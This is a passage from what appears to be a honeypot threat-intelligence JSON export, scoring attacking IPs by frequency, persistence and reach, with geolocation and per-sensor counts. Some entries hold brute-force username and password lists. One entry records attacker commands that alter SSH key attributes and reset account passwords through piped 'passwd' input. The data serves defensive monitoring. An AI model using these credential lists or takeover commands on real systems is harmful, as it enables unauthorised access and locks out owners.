        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 20,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T03:14:35.894000+00:00",
        "last_seen_30d": "2026-03-23T08:01:08.822000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4,
        "Dionaea": 2,
        "Honeytrap": 2
      }
    },
    "54.196.48.233": {
      "attack_count": 4,
      "first_seen": "2026-03-12T00:55:35.414Z",
      "last_seen": "2026-03-12T00:55:42.097Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 6.7,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 8,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-05T00:51:34.257000+00:00",
        "last_seen_30d": "2026-03-12T00:56:49.617000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Ciscoasa": 1,
        "Honeyaml": 1
      }
    },
    "65.49.1.114": {
      "attack_count": 4,
      "first_seen": "2026-03-06T14:28:48.846Z",
      "last_seen": "2026-03-06T14:28:52.914Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 80.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 15.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 30,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T03:39:25.015000+00:00",
        "last_seen_30d": "2026-03-31T01:35:07.505000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Cowrie": 4,
        "Honeytrap": 3,
        "H0neytr4p": 1
      }
    },
    "85.217.140.44": {
      "attack_count": 4,
      "first_seen": "2026-03-16T06:37:17.707Z",
      "last_seen": "2026-03-16T06:37:18.262Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 29.9,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 986,
        "days_active_30d": 27,
        "ports_targeted_30d": 525,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-04T13:52:38+00:00",
        "last_seen_30d": "2026-03-30T13:57:12.189000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 584,
        "Honeytrap": 395,
        "Cowrie": 4,
        "Tanner": 2,
        "Medpot": 1
      }
    },
    "129.212.190.51": {
      "attack_count": 3,
      "first_seen": "2026-03-27T19:29:11.291Z",
      "last_seen": "2026-03-27T19:29:11.338Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Douglasville",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 56.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-27T19:29:10+00:00",
        "last_seen_30d": "2026-03-27T19:30:21.977000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 17,
        "Cowrie": 3,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "178.128.7.19": {
      "attack_count": 3,
      "first_seen": "2026-03-18T08:39:30.962Z",
      "last_seen": "2026-03-18T08:39:30.963Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 11.7,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 14,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-10T09:15:51+00:00",
        "last_seen_30d": "2026-03-23T01:52:07.010000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 3,
        "Tanner": 3,
        "Honeytrap": 1
      }
    },
    "1.222.167.7": {
      "attack_count": 2,
      "first_seen": "2026-03-18T07:57:20.365Z",
      "last_seen": "2026-03-18T07:57:33.975Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seocho-gu",
      "asn": 9569,
      "as_org": "SEOCHO CABLE SYSTEMS CO., LTD.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T07:57:20.365000+00:00",
        "last_seen_30d": "2026-03-18T07:58:35.370000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.186.238.97": {
      "attack_count": 2,
      "first_seen": "2026-03-16T14:05:40.037Z",
      "last_seen": "2026-03-16T14:05:52.479Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Pretoria",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:05:40.037000+00:00",
        "last_seen_30d": "2026-03-16T14:06:54.329000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.211.68.42": {
      "attack_count": 2,
      "first_seen": "2026-03-24T04:44:42.284Z",
      "last_seen": "2026-03-24T04:44:55.916Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T04:44:42.284000+00:00",
        "last_seen_30d": "2026-03-24T04:46:03.521000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.207.42.179": {
      "attack_count": 2,
      "first_seen": "2026-03-10T23:16:12.990Z",
      "last_seen": "2026-03-10T23:16:28.105Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kishangarh",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:16:12.990000+00:00",
        "last_seen_30d": "2026-03-10T23:17:37.551000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.61.43.103": {
      "attack_count": 2,
      "first_seen": "2026-03-07T09:22:31.489Z",
      "last_seen": "2026-03-07T09:22:44.193Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T09:22:31.489000+00:00",
        "last_seen_30d": "2026-03-07T09:23:49.428000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.155.248": {
      "attack_count": 2,
      "first_seen": "2026-03-10T18:40:53.388Z",
      "last_seen": "2026-03-10T18:42:53.426Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 29852,
      "as_org": "Honest Networks, LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T18:40:53.388000+00:00",
        "last_seen_30d": "2026-03-10T18:53:44.829000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "165.245.183.230": {
      "attack_count": 2,
      "first_seen": "2026-03-04T09:21:31.533Z",
      "last_seen": "2026-03-04T09:22:01.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T02:49:55.497000+00:00",
        "last_seen_30d": "2026-03-04T09:23:05.891000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Adbhoney": 24,
        "Suricata": 18,
        "Cowrie": 2
      }
    },
    "170.64.180.47": {
      "attack_count": 2,
      "first_seen": "2026-03-19T08:51:20.616Z",
      "last_seen": "2026-03-19T08:51:20.618Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:51:20.616000+00:00",
        "last_seen_30d": "2026-03-19T08:52:25.522000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "170.64.227.9": {
      "attack_count": 2,
      "first_seen": "2026-03-15T15:25:08.275Z",
      "last_seen": "2026-03-15T15:25:08.301Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T15:25:05.858000+00:00",
        "last_seen_30d": "2026-03-15T15:26:10.524000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "170.64.239.129": {
      "attack_count": 2,
      "first_seen": "2026-03-15T07:19:32.385Z",
      "last_seen": "2026-03-15T07:19:32.387Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T07:19:32.385000+00:00",
        "last_seen_30d": "2026-03-15T07:20:38.193000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "198.199.94.79": {
      "attack_count": 2,
      "first_seen": "2026-03-09T19:25:15.706Z",
      "last_seen": "2026-03-09T19:25:46.430Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T19:25:15.706000+00:00",
        "last_seen_30d": "2026-03-09T19:26:49.943000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "20.119.99.165": {
      "attack_count": 2,
      "first_seen": "2026-03-15T05:52:25.656Z",
      "last_seen": "2026-03-15T05:52:56.277Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T05:52:25.656000+00:00",
        "last_seen_30d": "2026-03-15T05:53:56.632000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "209.38.31.68": {
      "attack_count": 2,
      "first_seen": "2026-03-15T16:44:37.699Z",
      "last_seen": "2026-03-15T16:44:37.701Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:44:37.699000+00:00",
        "last_seen_30d": "2026-03-15T16:45:40.074000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "221.206.81.77": {
      "attack_count": 2,
      "first_seen": "2026-03-13T06:21:27.189Z",
      "last_seen": "2026-03-13T06:21:40.037Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T06:21:27.189000+00:00",
        "last_seen_30d": "2026-03-13T06:22:45.674000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.146.182.251": {
      "attack_count": 2,
      "first_seen": "2026-03-22T13:46:33.433Z",
      "last_seen": "2026-03-22T13:46:46.630Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Nagoya",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T13:46:33.433000+00:00",
        "last_seen_30d": "2026-03-22T13:47:48.646000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.98.68.49": {
      "attack_count": 2,
      "first_seen": "2026-03-27T11:32:13.547Z",
      "last_seen": "2026-03-27T11:32:27.282Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T11:32:13.547000+00:00",
        "last_seen_30d": "2026-03-27T11:33:31.730000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.174.63.10": {
      "attack_count": 2,
      "first_seen": "2026-03-07T08:08:23.489Z",
      "last_seen": "2026-03-07T08:10:23.491Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Odintsovo",
      "asn": 47119,
      "as_org": "JSC Ufanet",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T08:08:23.489000+00:00",
        "last_seen_30d": "2026-03-07T08:20:29.261000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "209.97.131.87": {
      "attack_count": 3525,
      "first_seen": "2026-03-06T13:05:08.920Z",
      "last_seen": "2026-03-06T13:42:06.673Z",
      "sessions": 705,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "ali",
        "debian",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin",
        "admin123",
        "1234567",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4949,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T13:05:08.920000+00:00",
        "last_seen_30d": "2026-03-06T13:43:10.072000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3525,
        "Suricata": 1424
      }
    },
    "14.63.196.175": {
      "attack_count": 1762,
      "first_seen": "2026-03-05T11:31:34.108Z",
      "last_seen": "2026-03-24T06:50:57.506Z",
      "sessions": 152,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ubuntu",
        "mtcl",
        "admin",
        "erp",
        "tunnel",
        "ai",
        "alfredo",
        "astra",
        "backend",
        "brandon",
        "cassandra",
        "claude",
        "clawd",
        "cluster",
        "games",
        "gitlab-runner",
        "henry",
        "mario"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "12345678",
        "password",
        "1234",
        "123",
        "123654",
        "Mario",
        "Zz123456",
        "brandon@123456",
        "clusterpassword",
        "erp@123",
        "henryhenry",
        "mtcl@123",
        "rsyncrsync",
        "tunnelpassword",
        "user6@123",
        "vishalpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nMnylfVmRrHIk\\nMnylfVmRrHIk\\n\"|passwd",
        "echo \"123456AA!\\nsS0wms7ouC2q\\nsS0wms7ouC2q\\n\"|passwd",
        "echo \"123456\\nnmf1l0tWUAVl\\nnmf1l0tWUAVl\\n\"|passwd",
        "echo \"12345\\nPtfXap5NzamJ\\nPtfXap5NzamJ\\n\"|passwd",
        "echo \"123\\nr7jXGUjVKHaO\\nr7jXGUjVKHaO\\n\"|passwd",
        "echo \"Aa@2024\\nV4ojLc6nFElT\\nV4ojLc6nFElT\\n\"|passwd",
        "echo \"Sales1123\\nsfXLtr7jjMpj\\nsfXLtr7jjMpj\\n\"|passwd",
        "echo \"a123456i\\njG3qjk3WJVmr\\njG3qjk3WJVmr\\n\"|passwd",
        "echo \"astra123!\\nbESyVFehKegV\\nbESyVFehKegV\\n\"|passwd",
        "echo \"backend\\ntPrZSj5LF2iw\\ntPrZSj5LF2iw\\n\"|passwd",
        "echo \"claude1\\n3VRdFvQhxZso\\n3VRdFvQhxZso\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 45.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 2124,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T11:31:34.108000+00:00",
        "last_seen_30d": "2026-03-24T06:52:07.220000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1762,
        "Suricata": 362
      }
    },
    "209.38.226.254": {
      "attack_count": 1245,
      "first_seen": "2026-03-18T14:15:44.854Z",
      "last_seen": "2026-03-18T16:24:12.014Z",
      "sessions": 248,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
